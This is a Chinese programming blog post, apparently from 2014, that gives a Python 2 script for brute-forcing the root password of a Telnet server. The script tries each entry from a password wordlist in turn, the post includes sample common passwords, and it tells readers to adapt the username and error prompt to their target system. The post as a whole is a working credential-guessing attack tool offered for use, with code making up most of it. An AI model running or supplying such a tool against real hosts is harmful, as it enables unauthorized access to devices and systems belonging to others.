您的位置:首页 > 编程语言 > Python开发

Python实现Telnet自动连接检测密码

2014-11-06 16:23 1486 查看
最近在学习Python网络相关编程,这个代码实现了Telnet自动连接检测root用户密码,密码取自密码本,一个一个检测密码是否匹配,直到匹配成功,屏幕输出停止。

代码如下:

#encoding=utf-8
import telnetlib
import time
import sys
import os

def do_telnet(Host, Port, username, password, finish):
#连接Telnet服务器
tn = telnetlib.Telnet(Host, Port, timeout=1)
tn.set_debuglevel(3)

#输入登录用户名
tn.read_until("login: ")
tn.write(str(username)+'\n')

# 输入登录密码
tn.read_until("Password: ")
tn.write(str(password)+'\n')

# 判断密码错误提示,如果没有这个提示说明登录成功
if tn.read_until(finish):
print "****** login incorrect!\n"
tn.close();

if __name__=='__main__':
Host = raw_input("IP:") # Telnet服务器IP
Port = raw_input("Port:") # Telnet服务器端口
username = 'root' # 登录用户名
finish = 'incorrect' # 密码错误提示
pw_file = open('.\\pw.txt','r+') #密码文件
Index = 0
print time.asctime(),": ****** begin","\n"
while True:
password = pw_file.readline()
Index +=1;
print Index,time.asctime(),": ****** try","",username,":",password,""
if len(password) == 0:
break;
do_telnet(Host, Port, username, password, finish)
pw_file.close();


密码本pw.txt,内容例如:
root
admin
12345
888888

输出如下:



注:我这边测试的目标主机是嵌入式linux系统,用户名是root,密码错误返回的是incorrect提示。你可能要根据目标系统不同修改用户名和错误提示。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  python telnet 密码